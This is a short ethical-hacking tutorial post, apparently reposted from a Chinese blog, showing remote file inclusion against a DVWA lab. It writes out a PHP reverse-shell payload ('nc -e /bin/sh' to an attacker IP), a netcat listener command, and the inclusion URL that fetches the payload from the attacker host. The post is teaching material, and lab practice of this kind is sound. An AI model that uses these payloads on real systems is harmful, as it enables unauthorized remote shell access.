Ethical Hacking - Web Penetration Testing(6)

2021-04-18 22:29

阅读:404

标签:for   reverse   cti   local   strong   png   tac   create   cut   

REMOTE FILE INCLUSION

  • Similar to local file inclusion.
  • But allows an attacker to read ANY file from ANY server.
  • Execute PHP files from other servers on the current server.
  • Store PHP files on other servers as .txt.

Pre-Condition:

Set allow_url_include to On status.

技术图片

 

 Restart web service

技术图片

 

 

Create a local php file on /var/www/html.

php
passthru("nc -e /bin/sh 10.0.0.13 8080");
?>

技术图片

 

 

Execute the NC command to wait for connection.

nc -vv -l -p 8080

Visit the URL(http://10.0.0.24/dvwa/vulnerabilities/fi/?page=http://10.0.0.13/reverse.txt?) to execute the reverse connection commands.

技术图片

 

 We connect to the target machine successfully.

技术图片

 

Ethical Hacking - Web Penetration Testing(6)

标签:for   reverse   cti   local   strong   png   tac   create   cut   

原文地址:https://www.cnblogs.com/keepmoving1113/p/12274844.html


评论


亲,登录后才可以留言!